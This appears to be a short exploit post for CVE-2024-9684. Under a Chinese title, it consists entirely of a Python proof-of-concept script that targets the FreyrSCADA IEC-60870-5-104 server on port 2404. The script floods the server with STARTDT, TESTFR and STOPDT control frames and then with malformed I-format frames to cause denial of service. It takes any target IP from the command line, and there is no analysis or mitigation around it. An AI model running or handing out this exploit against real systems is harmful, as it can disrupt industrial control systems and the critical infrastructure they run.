CVE-2024-9684 FreyrSCADA/IEC-60870-5-104 Server拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2024-9684 PoC - FreyrSCADA/IEC-60870-5-104 Server DoS Reference: https://github.com/FreyrSCADA/IEC-60870-5-104/issues/6 """ import socket import struct import time def create_iec104_u_format(control_field): """Create IEC 60870-5-104 U-Format (Unnumbered Control Functions)""" # U-Format: Start Byte (0x68) + Length (0x04) + 4 bytes control field return b'\x68\x04' + control_field def send_malformed_sequence(target_ip, target_port=2404): """ Send malformed message sequences to trigger DoS condition """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # STARTDT ACT (Start Data Transfer - Activation) startdt_act = create_iec104_u_format(b'\x07\x00\x00\x00') sock.send(startdt_act) print("[*] Sent STARTDT_ACT") time.sleep(0.5) # Send malformed TESTFR sequences testfr_act = create_iec104_u_format(b'\x43\x00\x00\x00') for i in range(100): sock.send(testfr_act) time.sleep(0.01) print(f"[*] Sent {100} malformed TESTFR_ACT messages") # STOPDT ACT sequence stopdt_act = create_iec104_u_format(b'\x13\x00\x00\x00') sock.send(stopdt_act) print("[*] Sent STOPDT_ACT") time.sleep(0.5) # Send invalid I-Format (Information Transfer) messages # I-Format: Start Byte + Length + COT + CA + IOA for i in range(50): malformed_iframe = b'\x68\x0E' + struct.pack('>H', i) + b'\x00\x00\x03\x01\x00\x00\x00\x00\xFF\xFF\xFF\xFF' sock.send(malformed_iframe) time.sleep(0.01) print(f"[*] Sent {50} malformed I-Format messages") sock.close() print("[+] Attack completed") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_malformed_sequence(target)